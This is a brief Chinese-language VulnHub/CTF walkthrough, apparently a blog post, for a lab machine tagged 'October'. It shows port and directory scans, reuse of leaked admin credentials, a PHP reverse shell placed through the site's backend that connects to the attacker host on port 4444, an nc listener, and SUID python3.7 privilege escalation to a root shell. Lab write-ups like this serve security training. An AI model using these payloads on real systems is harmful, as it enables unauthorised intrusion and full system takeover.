kali:192.168.111.111
靶机:192.168.111.175
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.175
8080端口查看源码提示存在mynote.txt文件
获得账号:admin,密码:adminadmin2
目录爆破发现80端口网站后台
gobuster dir -u http://192.168.111.175 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt,bak,sql
在后台添加页面反弹shell
function onStart(){
$s=fsockopen("192.168.111.111",4444);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}
本地使用nc监听,后访问网站根目录
nc -lvp 4444
http://192.168.111.175/shell
提权
查找suid权限的文件
find / -perm -u=s -exec ls -al {} \; 2> /dev/null
发现python3.7具有suid权限,提权方法:https://gtfobins.github.io/gtfobins/python/#suid
python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
获得flag
标签:October,http,suid,111.175,192.168,sh,vulnhub,txt,Its From: https://www.cnblogs.com/ctostm/p/17092241.html